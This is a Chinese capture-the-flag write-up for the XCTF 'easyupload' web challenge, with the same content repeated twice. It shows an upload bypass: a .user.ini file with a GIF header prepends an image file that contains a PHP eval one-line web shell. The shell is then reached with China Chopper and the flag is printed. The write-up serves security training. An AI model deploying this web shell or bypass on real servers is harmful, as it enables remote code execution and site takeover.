攻防世界-web-easyupload

easyupload

GFSJ1005积分 1金币 1

28最佳Writeup由 hxqz 提供WriteUP

收藏

反馈

难度：1

方向：Web

题解数：5

解出人数：1247

题目来源: CTF

题目描述:

一名合格的黑客眼中，所有的上传点都是开发者留下的后门

题目场景:

http://61.147.171.105:51742

.user.ini

GIF89a                  
auto_prepend_file=a.jpg

a.jpg

GIF89a
<?=eval($_POST['123']);?>

http://61.147.171.105:62786/uploads/index.php

菜刀链接：

cyberpeace{959dd2c2855ab148875a18fba586e8e4}

cyberpeace{959dd2c2855ab148875a18fba586e8e4}

参考：

easyupload

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jOrGTxuM-1670505152035)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAEKADAAQAAAABAAAAEAAAAAA0VXHyAAAB+ElEQVQoFS2SuY7CQBBE8XjMYXMfu6wQIgOJCAmRkBAh/pLfICABEUAIIQEJ4hL3bQ4b9rHeDtrTdk11dbWVer2uqqqiuHw+PRwOh0KhYDDo9Xpt297tdpvNZrVaHY/Hx+Pxfr+fz6d0uVw305RSGLpxN80D5e2maZplWefz2YFy5gCRrusSelsoX98/msZZut1u0FLK1+vFJ84ej0dRFErDMOLxuOQR8gdBWBYqXvSlp9P9/hfI4E0ikYjFYslkUqL7er2CAE6GiYwG0zSRQaaP7y9Ap9Pp/wun04mx+AaaQMPlcgHNzUgkggfEZwACW8bjcSaToW61WtFoNJ/Pd7vdWq3G0Aza6/WQQGdIyZJujiFIRN56vT4cDsVisdlscoC4Wq02Gg14P/bYtlgulzDRHUQul0MYJSy8J8MqhPjghKCEUYxGI6cjDnY6nUqlwh7m83kgEKAbL1kfI0GPhGw2K5kdAuxnhul0OhwOgfb7/VKpBBGS2u02ONRjrt/vVyaTyWAwgGy/3zMMZLDSnT7odByHjnUVCoVUKiW32y0/DFohoAl7BQ2CpYGmZCp2x32QaFHL5fJisWAmAm6ggFBMiQwQBAf8JbMcOZvNnGWBwwTWREa64zU6GRoc9x1vJHOwPmTgND7we7E7LsCHTtBw84+AhgJhvzqqhewBzcvrAAAAAElFTkSuQmCC)]GFSJ1005积分 1金币 1

28最佳Writeup由 hxqz 提供WriteUP

收藏

反馈

难度：1

方向：Web

题解数：5

解出人数：1247

题目来源: CTF

题目描述:

一名合格的黑客眼中，所有的上传点都是开发者留下的后门

题目场景:

http://61.147.171.105:51742

.user.ini

GIF89a                  
auto_prepend_file=a.jpg

a.jpg

GIF89a
<?=eval($_POST['123']);?>

http://61.147.171.105:62786/uploads/index.php

菜刀链接：

cyberpeace{959dd2c2855ab148875a18fba586e8e4}

cyberpeace{959dd2c2855ab148875a18fba586e8e4}

学习博客：

https://blog.csdn.net/m0_63127854/article/details/126633686